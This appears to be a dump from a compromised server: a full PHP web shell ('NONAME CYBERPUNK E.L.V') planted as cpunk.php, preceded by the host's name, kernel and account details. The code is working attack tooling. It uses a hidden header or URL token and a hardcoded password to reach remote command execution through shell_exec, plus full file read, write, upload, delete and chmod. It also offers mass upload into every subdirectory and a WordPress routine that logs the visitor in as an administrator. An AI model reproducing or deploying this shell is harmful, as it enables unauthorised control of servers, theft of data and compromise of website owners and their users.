Intrusion Exploit
Server: LiteSpeed
System: Linux server1.gokhangurkan.com.tr 5.14.0-570.60.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Nov 5 05:00:59 EST 2025 x86_64
User: kibrismxyz (1047)
PHP: 8.1.33
Disabled: symlink,show_source,system,proc_terminate,shell_exec,exec,passthru,proc_open,popen,dl,ln,ls,cat
Upload Files
File: /home/kibrismxyz/public_html/cpunk.php
<?php
/**
 * =============================================================================
 * THE LEGEND Noname@E.L.V  "WHY ALWAYS ME"
 * =============================================================================
 * AUTHOR            : NONAME@E.L.V
 * EDITION             : CYBERPUNK
 * STATUS              : THIS SHELL USE MAGIC & PHYSICS
 * =============================================================================
 */

@ob_start();
@ini_set('output_buffering', 0);
session_start();
error_reporting(0);
set_time_limit(0);

// ================= TACTICAL BYPASS INJECTION =================
if (isset($_SERVER['HTTP_X_AUTH_TOKEN']) && $_SERVER['HTTP_X_AUTH_TOKEN'] === 'WHY-ALWAYS-ME') {
    $_SESSION['elv_gate'] = true;
    $_SESSION['logged_in'] = true;
}

if (isset($_GET['id']) && $_GET['id'] === '@elv') {
    $_SESSION['elv_gate'] = true;
    // Auto-login jika akses via curl bawa perintah
    if (isset($_POST['cmd']) || isset($_FILES['up_file']) || isset($_GET['action']) || isset($_POST['mass_up'])) {
        $_SESSION['logged_in'] = true; 
    }
}

if (!isset($_SESSION['elv_gate'])) {
    header("HTTP/1.0 404 Not Found");
    exit;
}
// ======================================================

$password = "adm#2626";
$logo_url = "https://c.top4top.io/p_3733moei02.png";

if (isset($_GET['logout'])) { session_destroy(); header("Location: ?id=@elv"); exit; }
if (isset($_POST['pass'])) { if ($_POST['pass'] == $password) { $_SESSION['logged_in'] = true; } }
if (!isset($_SESSION['logged_in'])) {
    die("<html><head><title>NONAME CYBERPUNK (E.L.V) - SECURE LOGIN</title>
    <style>
    @import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&display=swap');
    body{background:#020005;color:#00d4ff;display:flex;align-items:center;justify-content:center;height:100vh;margin:0;font-family:'Orbitron', sans-serif;overflow:hidden;}
    #canvas{position:fixed;top:0;left:0;z-index:-1;opacity:0.4;}
    .login-box{
        text-align:center;z-index:1;background:rgba(5,0,15,0.9);
        padding:60px;border:2px solid #6a0dad;
        box-shadow: 0 0 20px rgba(106,13,173,0.5), inset 0 0 15px rgba(0,212,255,0.2);
        position:relative; clip-path: polygon(10% 0, 100% 0, 100% 90%, 90% 100%, 0 100%, 0 10% );
    }
    input{
        background:rgba(20,0,40,0.8); border:1px solid #6a0dad; color:#00d4ff; 
        padding:15px; text-align:center; font-size:18px; width:320px; outline:none; 
        font-family:'Orbitron', sans-serif; letter-spacing:3px;
        transition: 0.5s; box-shadow: 0 0 5px rgba(106,13,173,0.5);
    }
    input:focus{ border-color:#00d4ff; box-shadow: 0 0 15px #00d4ff; }
    h2{ color:#00d4ff; text-shadow:0 0 10px #00d4ff; text-transform:uppercase; letter-spacing:5px; margin-bottom:30px; font-size:16px; }
    .glitch { animation: glitch 1s linear infinite; }
    @keyframes glitch{ 2%,64%{ transform: translate(2px,0) skew(0deg); } 4%,60%{ transform: translate(-2px,0) skew(0deg); } 62%{ transform: translate(0,0) skew(5deg); } }
    .status-text { font-size:10px; color:#6a0dad; margin-top:20px; text-transform:uppercase; }
    </style></head><body onload='initCyberRain()'><canvas id='canvas'></canvas>
    <div class='login-box'>
        <img src='$logo_url' style='width:140px; filter:drop-shadow(0 0 10px #6a0dad); margin-bottom:10px;'>
        <h2 class='glitch'>SYSTEM INITIALIZING...</h2>
        <form method='POST'>
            <input type='password' name='pass' placeholder='[ ACCESS KEY ]' autofocus autocomplete='off'>
        </form>
        <div class='status-text'>NONAME CYBERPUNK SECURED // E.L.V v840.2</div>
    </div>
    <script>function initCyberRain(){const c=document.getElementById('canvas'),ctx=c.getContext('2d');c.height=window.innerHeight;c.width=window.innerWidth;const char='01',font=15,columns=c.width/font,drops=[];for(let x=0;x<columns;x++)drops[x]=1;function draw(){ctx.fillStyle='rgba(2,0,5,0.05)';ctx.fillRect(0,0,c.width,c.height);ctx.fillStyle='#6a0dad';ctx.font=font+'px monospace';for(let i=0;i<drops.length;i++){const text=char.charAt(Math.floor(Math.random()*char.length));ctx.fillText(text,i*font,drops[i]*font);if(drops[i]*font>c.height&&Math.random()>0.975)drops[i]=0;drops[i]++;}}setInterval(draw,33);}</script></body></html>");
}

$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = str_replace('\\', '/', realpath($path)); 
$dir = $path; // <-- Didefinisikan khusus untuk WP Bypass Logic
$view_mode = isset($_GET['view_mode']) ? $_GET['view_mode'] : 'list';
$msg = "";

// ================= DOWNLOAD LOGIC =================
if(isset($_GET['download'])){
    $file = $_GET['download'];
    if(file_exists($file)){
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        readfile($file);
        exit;
    }
}

// ================= EFFECTIVENESS INJECTION: safeName =================
function safeName($name) {
    return preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $name);
}

// ================= ALL FILE ACTIONS LOGIC =================
if(isset($_POST['new_folder_name'])){ if(mkdir($path.'/'.$_POST['new_folder_name'])){ $msg = "<div style='color:#0f0; background:rgba(0,255,0,0.1); border:1px solid #0f0; padding:10px; margin-bottom:20px; font-family:Orbitron;'>[ SUCCESS ] Folder Created!</div>"; } }
if(isset($_POST['new_file_name'])){ if(file_put_contents($path.'/'.$_POST['new_file_name'], "")){ $msg = "<div style='color:#0f0; background:rgba(0,255,0,0.1); border:1px solid #0f0; padding:10px; margin-bottom:20px; font-family:Orbitron;'>[ SUCCESS ] File Created!</div>"; } }
if(isset($_FILES['up_file'])){ if(copy($_FILES['up_file']['tmp_name'], $path.'/'.$_FILES['up_file']['name'])){ $msg = "<div style='color:#0f0; background:rgba(0,255,0,0.1); border:1px solid #0f0; padding:10px; margin-bottom:20px; font-family:Orbitron;'>[ SUCCESS ] File Deployed: ".$_FILES['up_file']['name']."</div>"; } }
if(isset($_POST['new_chmod'])){ if(chmod($_POST['chmod_target'], octdec($_POST['new_chmod']))){ $msg = "<div style='color:#0f0; background:rgba(0,255,0,0.1); border:1px solid #0f0; padding:10px; margin-bottom:20px; font-family:Orbitron;'>[ SUCCESS ] Permission Updated!</div>"; } }
if(isset($_POST['new_name'])){ rename($_POST['old_name'], dirname($_POST['old_name']).'/'.$_POST['new_name']); header("Location: ?path=$path"); }
if(isset($_POST['new_content'])){ file_put_contents($_POST['edit_target'], $_POST['new_content']); $msg = "<div style='color:#0f0; background:rgba(0,255,0,0.1); border:1px solid #0f0; padding:10px; margin-bottom:20px; font-family:Orbitron;'>[ SUCCESS ] File Saved!</div>"; }
if(isset($_GET['del'])){ $t=$_GET['del']; is_dir($t)?@rmdir($t):@unlink($t); header("Location: ?path=$path"); }

// ================= SUBDO OPERATIONS LOGIC =================
if(isset($_POST['create_subdo'])){
    $s_name = safeName($_POST['sub_name']);
    $s_path = rtrim($path, '/') . '/' . $s_name;
    if(!is_dir($s_path)){ 
        mkdir($s_path, 0755); 
        file_put_contents($s_path.'/index.php', '<?php echo "Silence is Golden - E.L.V"; ?>');
        $msg = "<div style='color:#0f0; background:rgba(0,255,0,0.1); border:1px solid #0f0; padding:10px; margin-bottom:20px; font-family:Orbitron;'>[ SUCCESS ] Subdo Dir Active: $s_name</div>"; 
    } else {
        $msg = "<div style='color:#f00; background:rgba(255,0,0,0.1); border:1px solid #f00; padding:10px; margin-bottom:20px; font-family:Orbitron;'>[ FAILED ] Dir already exists!</div>";
    }
}

$mass_log = "";
if (isset($_POST['mass_up'])) {
    $f_name = $_FILES['m_file']['name']; $f_data = file_get_contents($_FILES['m_file']['tmp_name']); $m_root = rtrim($_POST['mass_root'], '/');
    if(is_dir($m_root)){ foreach (scandir($m_root) as $folder) { if ($folder != "." && $folder != ".." && is_dir($m_root.'/'.$folder)) { $target_path = $m_root.'/'.$folder.'/'.$f_name; if(file_put_contents($target_path, $f_data)){ $mass_log .= "<div style='margin-bottom:5px;'><span style='color:#0f0;'>[+] SUCCESS:</span> $folder/$f_name</div>"; } } } }
}

// ================= WP BYPASS ADMIN LOGIC =================
if (isset($_GET['action']) && $_GET['action'] == 'wp_bypass') {
    $wp_load_path = $dir . '/wp-load.php';
    if (file_exists($wp_load_path)) {
        require_once($wp_load_path);
        // Ambil user administrator pertama
        $admin_users = get_users(['role' => 'administrator', 'number' => 1]);
        if (!empty($admin_users)) {
            $admin = $admin_users[0];
            wp_set_current_user($admin->ID, $admin->user_login);
            wp_set_auth_cookie($admin->ID);
            do_action('wp_login', $admin->user_login, $admin);
            echo "<script>alert('[+] Target Compromised!\\nLogin sukses sebagai Administrator: {$admin->user_login}'); window.location.href='" . admin_url() . "';</script>";
            exit;
        } else {
            $message = "[!] Bypass Gagal: Tidak ada user Administrator di database ini.";
            $msg = "<div style='color:#f00; background:rgba(255,0,0,0.1); border:1px solid #f00; padding:10px; margin-bottom:20px; font-family:Orbitron;'>$message</div>";
        }
    } else {
        $message = "[!] Bypass Gagal: File wp-load.php tidak ditemukan di direktori saat ini. Pastikan Anda berada di root folder WordPress.";
        $msg = "<div style='color:#f00; background:rgba(255,0,0,0.1); border:1px solid #f00; padding:10px; margin-bottom:20px; font-family:Orbitron;'>$message</div>";
    }
}
// =========================================================

function perms($f){
    $p = fileperms($f);
    if(($p&0xC000)==0xC000)$i='s';elseif(($p&0xA000)==0xA000)$i='l';elseif(($p&0x8000)==0x8000)$i='-';elseif(($p&0x6000)==0x6000)$i='b';elseif(($p&0x4000)==0x4000)$i='d';elseif(($p&0x2000)==0x2000)$i='c';elseif(($p&0x1000)==0x1000)$i='p';else $i='u';
    $i.=(($p&0x0100)?'r':'-');$i.=(($p&0x0080)?'w':'-');$i.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
    $i.=(($p&0x020)?'r':'-');$i.=(($p&0x0010)?'w':'-');$i.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
    $i.=(($p&0x0004)?'r':'-');$i.=(($p&0x0002)?'w':'-');$i.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));
    return $i;
}

// === SERVER INFO GATHERING ===
$server_ip = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : gethostbyname($_SERVER['HTTP_HOST']);
$client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'Unknown';
$server_soft = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown';
$user_proc = @get_current_user();
$php_ver = phpversion();
$kernel = php_uname();
$hdd_free = round(@disk_free_space("/") / (1024 * 1024 * 1024), 2);
$hdd_total = round(@disk_total_space("/") / (1024 * 1024 * 1024), 2);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <title>NONAME CYBERPUNK (E.L.V) v840.2</title>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&family=Fira+Code:wght@400;500&display=swap');
        body { background: #020005; color: #e0e0e0; font-family: 'Orbitron', sans-serif; font-size: 13px; margin: 0; overflow: hidden; }
        #canvas { position: fixed; top:0; left:0; z-index:-1; opacity:0.25; }
        .container { padding: 30px; height: 100vh; overflow-y: auto; position: relative; z-index: 1; box-sizing: border-box; padding-bottom: 60px; border: 3px solid #0000ff; animation: pulsate 1.5s infinite alternate; }
        @keyframes pulsate { 0% { box-shadow: inset 0 0 10px #0000ff; border-color: #0000ff; } 100% { box-shadow: inset 0 0 30px #00ffff; border-color: #00ffff; } }
        
        /* HEADER ADJUSTMENTS - LOGO KIRI, INFO RAPI */
        .main-header { display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; gap: 20px; border-bottom: 5px solid #6a0dad; padding-bottom: 25px; margin-bottom: 30px; background: rgba(10,0,30,0.5); padding: 20px; border-radius: 10px; }
        .header-left { display: flex; flex-wrap: wrap; align-items: center; gap: 20px; }
        .shell-logo { width: 100px; border: 3px solid #00d4ff; border-radius: 5px; filter: drop-shadow(0 0 15px #00d4ff); }
        .header-text { text-align: left; }
        
        /* CYAN NEON ASCII TEXT */
        .ascii-txt { 
            color: #00ffff; 
            font-family: monospace; 
            font-size: 11px; 
            line-height: 12px; 
            text-shadow: 0 0 10px #00ffff, 0 0 20px #00ffff, 0 0 40px #00ffff; 
            white-space: pre; 
            animation: glitch-text 2s infinite; 
            text-align: left;
        }
        @keyframes glitch-text { 0%, 100% { transform: translate(0); } 20% { transform: translate(-1px, 1px); } 40% { transform: translate(1px, -1px); } }
        
        /* VIOLET NEON MAGIC-PHYSICS */
        .violet-neon {
            color: #ff00ff;
            text-shadow: 0 0 10px #ff00ff, 0 0 20px #ff00ff, 0 0 40px #ff00ff, 0 0 80px #ff00ff;
            font-size: 14px;
            font-weight: bold;
            text-align: left;
            margin-top: 10px;
            letter-spacing: 2px;
            animation: pulsate-violet 1.5s infinite alternate;
        }
        @keyframes pulsate-violet {
            0% { text-shadow: 0 0 10px #ff00ff, 0 0 20px #ff00ff; }
            100% { text-shadow: 0 0 10px #ff00ff, 0 0 20px #ff00ff, 0 0 50px #d500f9, 0 0 80px #d500f9; }
        }

        /* INFO WEB RAPI (TERMINAL BOX STYLE) */
        .server-info {
            font-size: 10px; 
            color: #00ffff; 
            border: 1px solid #6a0dad; 
            border-left: 3px solid #ff00ff; 
            background: rgba(0,0,0,0.6); 
            padding: 15px; 
            border-radius: 5px; 
            line-height: 1.8; 
            text-shadow: 0 0 5px #00ffff; 
            white-space: nowrap;
            overflow-x: auto;
        }
        .server-info span.lbl {
            color: #ff00ff;
            display: inline-block;
            width: 55px;
            font-weight: bold;
        }

        .terminal-card { background: rgba(10, 5, 25, 0.9); border: 2px solid #6a0dad; border-radius: 8px; padding: 20px; margin-bottom: 20px; }
        
        /* PATH BAR FIX BUAT MOBILE OVERLAP */
        .path-bar { background: #1a0033; padding: 12px; border-left: 5px solid #00d4ff; margin-bottom: 15px; font-weight: bold; border-radius: 0 5px 5px 0; display: flex; flex-wrap: wrap; align-items: center; gap: 8px; }
        .nav-link { color: #00d4ff; text-decoration: none; padding: 4px 8px; border: 1px solid #00d4ff; border-radius: 3px; font-size: 11px; white-space: nowrap; }
        
        .btn-elv { padding: 10px 20px; background: linear-gradient(45deg, #6a0dad, #00d4ff); border: none; color: #fff; font-weight: bold; border-radius: 5px; cursor: pointer; text-decoration: none; display: inline-block; text-transform: uppercase; font-size: 11px; }
        .btn-tool { padding: 10px 15px; border: 2px solid #ff00ff; color: #ff00ff; background: transparent; border-radius: 5px; text-decoration: none; font-weight: bold; font-size: 11px; text-align: center; white-space: nowrap; flex-grow: 1; }
        
        .term-container { background: #050010; border: 2px solid #00d4ff; border-radius: 5px; overflow: hidden; }
        .term-header { background: #00d4ff; color: #000; padding: 8px 15px; font-size: 11px; font-weight: bold; display: flex; justify-content: space-between; }
        .term-body { padding: 20px; font-family: 'Fira Code', monospace; font-size: 14px; color: #0f0; min-height: 250px; max-height: 500px; overflow-y: auto; }
        .term-input-wrap { display: flex; background: rgba(0,212,255,0.1); padding: 12px 15px; border-top: 2px solid #6a0dad; align-items: center; }
        .term-input { background: transparent; border: none; color: #ffd700; font-family: 'Fira Code', monospace; font-size: 15px; outline: none; width: 100%; }
        .term-prompt { color: #ff00ff; margin-right: 12px; font-weight: bold; }
        table { width: 100%; border-collapse: separate; border-spacing: 0 8px; }
        th { padding: 15px; color: #00d4ff; text-align: left; border-bottom: 3px solid #6a0dad; text-transform: uppercase; }
        td { padding: 15px; background: rgba(30, 0, 60, 0.3); border-top: 1px solid #6a0dad; border-bottom: 1px solid #6a0dad; word-break: break-all; }
        input[type=text], textarea { background: #0a001a; border: 1px solid #6a0dad; color: #00d4ff; padding: 12px; border-radius: 5px; width: 100%; box-sizing: border-box; }
        .btn-link { padding: 4px 10px; border: 1px solid #00d4ff; color: #00d4ff; text-decoration: none; font-size: 10px; margin: 0 3px; border-radius: 3px; display: inline-block; white-space: nowrap; margin-bottom: 5px; }
        .footer-static { position: fixed; bottom: 0; left: 0; width: 100%; background: #050010; border-top: 2px solid #6a0dad; padding: 12px 0; color: #00d4ff; font-weight: bold; z-index: 10; text-align: center; font-size:11px; }
    </style>
</head>
<body onload="initCyberRain()">
<canvas id="canvas"></canvas>
<div class="container">
    <header class="main-header">
        <div class="header-left">
            <img src="<?php echo $logo_url; ?>" class="shell-logo">
            <div class="header-text">
                <div class="ascii-txt">
  _   _  _____  _   _   ___  ___  ___  _____ 
 | \ | ||  _  || \ | | / _ \ |  \/  ||  ___|
 |  \| || | | ||  \| |/ /_\ \| .  . || |__  
 | |\  || | | || |\  ||  _  || |\/| ||  __| 
 |_| \_|\ \_/ /|_| \_|| | | || |  | || |___ 
                </div>
                <div class="violet-neon">
                    CYBERPUNK MAGIC-PHYSICS<br>E.L.V (v840.2)
                </div>
            </div>
        </div>
        
        <div class="server-info">
            <span class="lbl">KERNEL</span>: <?php echo $kernel; ?><br>
            <span class="lbl">SERVER</span>: <?php echo $server_soft; ?><br>
            <span class="lbl">SVR IP</span>: <?php echo $server_ip; ?> | <span style="color:#ff00ff; font-weight:bold;">YOUR IP:</span> <?php echo $client_ip; ?><br>
            <span class="lbl">USER</span>: <?php echo $user_proc; ?> | <span style="color:#ff00ff; font-weight:bold;">PHP:</span> <?php echo $php_ver; ?> | <span style="color:#ff00ff; font-weight:bold;">HDD:</span> <?php echo $hdd_free; ?>GB / <?php echo $hdd_total; ?>GB
        </div>
    </header>

    <?php echo $msg; ?>

    <div class="terminal-card">
        <div class="path-bar">
            <span style="color:#ff00ff; margin-right: 5px;">DIR:</span> 
            <?php 
            $accum = ''; echo '<a href="?path=/" class="nav-link">ROOT</a>';
            $dirs = explode('/', trim($path, '/'));
            foreach ($dirs as $p) { if($p=="")continue; $accum .= '/' . $p; echo '<span style="color:#6a0dad;">/</span><a href="?path='.$accum.'" class="nav-link">'.$p.'</a>'; }
            ?>
        </div>
        
        <div style="display: flex; flex-wrap: wrap; gap: 10px; margin-top: 20px;">
            <a href="?path=<?php echo getcwd(); ?>" class="btn-tool">HOME</a>
            <a href="?path=<?php echo $path; ?>&view_mode=terminal" class="btn-tool" style="border-color:#00d4ff; color:#00d4ff;">TERMINAL</a>
            <a href="?path=<?php echo $path; ?>&view_mode=elv_tools" class="btn-tool" style="border-color:#ff00ff; color:#ff00ff; text-shadow: 0 0 5px #ff00ff;">E.L.V TOOLS</a>
            <a href="?logout=1" class="btn-tool" style="border-color:#f00; color:#f00;">LOGOUT</a>
        </div>
    </div>

    <?php if($view_mode == 'terminal'): ?>
        <div class="term-container">
            <div class="term-header"><span>NONAME ❤️ E.L.V TACTICAL SHELL @ <?php echo $server_ip; ?></span><span>STATUS: LOCKED & PATEN</span></div>
            <div class="term-body">
                <?php if(isset($_POST['cmd'])): ?>
                    <span style="color:#ff00ff;">[#] EXECUTE:</span> <span style="color:#00d4ff;"><?php echo htmlspecialchars($_POST['cmd']); ?></span><br>
                    <pre style="color:#0f0; margin-top:10px; border-left: 2px solid #6a0dad; padding-left: 15px;"><?php @chdir($path); echo htmlspecialchars(shell_exec($_POST['cmd'].' 2>&1')); ?></pre>
                <?php else: ?>
                    <div style="color:#6a0dad; text-align:center; padding-top:60px;">[ SYSTEM READY ]<br>WAITING FOR TACTICAL INPUT...</div>
                <?php endif; ?>
            </div>
            <form method="POST" class="term-input-wrap">
                <span class="term-prompt">NONAME@TACTICAL:~$</span>
                <input type="text" name="cmd" class="term-input" autofocus autocomplete="off">
            </form>
        </div>
    <?php elseif($view_mode == 'elv_tools'): ?>
        <div class="terminal-card" style="border-color: #ff00ff;">
            <h2 style="color:#ff00ff; text-align:center;">E.L.V v84.0.0 ADVANCED TOOLS</h2>
            <div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px;">
                <div style="border: 1px solid #6a0dad; padding: 20px; border-radius: 10px; background:rgba(0,0,0,0.3);">
                    <h3 style="color:#00d4ff;">MASS UPLOADER</h3>
                    <form enctype="multipart/form-data" method="POST">
                        <p style="color:#e0e0e0; font-size:11px; margin-bottom:5px;">Target Root Folder:</p><input type="text" name="mass_root" value="<?php echo $path; ?>/">
                        <input type="file" name="m_file" style="margin: 10px 0;">
                        <input type="submit" name="mass_up" value="DEPLOY" class="btn-elv" style="width:100%;">
                    </form>
                    <div style="margin-top:10px; font-size:11px;"><?php echo $mass_log; ?></div>
                </div>
                <div style="border: 1px solid #6a0dad; padding: 20px; border-radius: 10px; background:rgba(0,0,0,0.3);">
                    <h3 style="color:#ff00ff;">WP COMMAND CENTER</h3>
                    <a href="?path=<?php echo $path; ?>&view_mode=elv_tools&action=wp_bypass" class="btn-elv" style="width:100%; text-align:center; margin-bottom:10px;">WP BYPASS ADMIN</a>
                    <div style="margin-top:15px; padding:10px; background:#000; border:1px dashed #0f0; color:#0f0; font-family:monospace; font-size:11px;">
                        [ INFO ] Klik tombol di atas untuk trigger bypass dan auto login.
                    </div>
                </div>
                <div style="border: 1px solid #00d4ff; padding: 20px; border-radius: 10px; background:rgba(0,0,0,0.3);">
                    <h3 style="color:#00d4ff;">SUBDO OPERATIONS</h3>
                    <form method="POST">
                        <p style="color:#e0e0e0; font-size:11px; margin-bottom:5px;">Target Subdomain Dir:</p>
                        <input type="text" name="sub_name" placeholder="sub.domain.com" style="margin-bottom:15px;">
                        <input type="submit" name="create_subdo" value="EXECUTE SUBDO" class="btn-elv" style="width:100%; border-color:#00d4ff;">
                    </form>
                    <div style="margin-top:15px; padding:10px; background:#000; border:1px dashed #00d4ff; color:#00d4ff; font-family:monospace; font-size:11px;">
                        [ INFO ] Filter safeName() aktif. Folder Subdo auto-terbuat dan siap dihajar!
                    </div>
                </div>
                </div>
        </div>
    <?php elseif($view_mode == 'edit'): $t = $_GET['target']; ?>
        <div class="terminal-card"><h3>EDIT: <?php echo basename($t); ?></h3><form method="POST"><input type="hidden" name="edit_target" value="<?php echo $t; ?>"><textarea name="new_content" style="height:400px; font-family:monospace; color:#0f0;"><?php echo htmlspecialchars(file_get_contents($t)); ?></textarea><input type="submit" value="SAVE CHANGES" class="btn-elv" style="width:100%; margin-top:10px;"></form></div>
    <?php elseif($view_mode == 'chmod'): $t = $_GET['target']; ?>
        <div class="terminal-card"><h3>CHMOD: <?php echo basename($t); ?></h3><form method="POST"><input type="hidden" name="chmod_target" value="<?php echo $t; ?>"><input type="text" name="new_chmod" placeholder="755" style="width:100px;"><input type="submit" value="CHANGE" class="btn-elv"></form></div>
    <?php elseif($view_mode == 'rename'): $t = $_GET['target']; ?>
        <div class="terminal-card"><h3>RENAME: <?php echo basename($t); ?></h3><form method="POST"><input type="hidden" name="old_name" value="<?php echo $t; ?>"><input type="text" name="new_name" value="<?php echo basename($t); ?>"><input type="submit" value="RENAME" class="btn-elv"></form></div>
    <?php else: ?>
        <div class="terminal-card">
            <div style="display:grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap:15px; margin-bottom:20px;">
                <form method="POST" style="display:flex; gap:5px;"><input type="text" name="new_file_name" placeholder="File.php"><input type="submit" value="CREATE" class="btn-elv"></form>
                <form method="POST" style="display:flex; gap:5px;"><input type="text" name="new_folder_name" placeholder="Folder"><input type="submit" value="MKDIR" class="btn-elv"></form>
                <form enctype="multipart/form-data" method="POST" style="display:flex; flex-direction: column; gap:10px;"><input type="file" name="up_file"><input type="submit" value="UPLOAD" class="btn-elv"></form>
            </div>
            <div style="overflow-x: auto;">
                <table>
                    <thead><tr><th>NAME</th><th>SIZE</th><th>PERMS</th><th>ACTIONS</th></tr></thead>
                    <tbody>
                    <?php
                    $items = scandir($path);
                    foreach($items as $f){
                        if($f=="."||$f=="..") continue; $full=$path.'/'.$f; if (!file_exists($full)) continue;
                        $is_d=is_dir($full); $prm=perms($full); $color = is_writable($full) ? "#0f0" : "#f00";
                        echo "<tr><td><a href='?path=".($is_d?$full:$path)."' style='color:".($is_d?"#ff00ff":"#00d4ff")."; text-decoration:none; font-weight:bold;'>".($is_d?"📁 $f":"📄 $f")."</a></td>";
                        echo "<td>".($is_d?"DIR":round(filesize($full)/1024,2)." KB")."</td>";
                        echo "<td><span style='color:$color;'>$prm</span></td><td>";
                        
                        if(!$is_d){
                            echo "<a href='?path=$path&view_mode=edit&target=$full' class='btn-link'>EDIT</a>";
                            echo "<a href='?download=$full' class='btn-link'>GET</a>";
                        }
                        echo "<a href='?path=$path&view_mode=rename&target=$full' class='btn-link'>REN</a>";
                        echo "<a href='?path=$path&view_mode=chmod&target=$full' class='btn-link'>CHMOD</a>";
                        echo "<a href='?path=$path&del=$full' class='btn-link' style='color:#f00; border-color:#f00;' onclick='return confirm(\"Terminate?\")'>DEL</a></td></tr>";
                    }
                    ?>
                    </tbody>
                </table>
            </div>
        </div>
    <?php endif; ?>
    <div class="footer-static">NONAME CYBERPUNK (E.L.V) — SUPREME SECURITY — I 💖 U E.L.V</div>
</div>
<script>
    function initCyberRain(){
        const c=document.getElementById("canvas"),ctx=c.getContext("2d"); c.height=window.innerHeight;c.width=window.innerWidth; 
        const char="01",font=15,columns=c.width/font,drops=[]; for(let x=0;x<columns;x++)drops[x]=1;
        function draw(){ ctx.fillStyle="rgba(2,0,5,0.05)";ctx.fillRect(0,0,c.width,c.height);ctx.fillStyle="#6a0dad";ctx.font=font+"px monospace";
            for(let i=0;i<drops.length;i++){ const text=char.charAt(Math.floor(Math.random()*char.length));ctx.fillText(text,i*font,drops[i]*font);
                if(drops[i]*font>c.height&&Math.random()>0.975)drops[i]=0; drops[i]++; } } setInterval(draw,33);
    }
</script>
</body>
</html>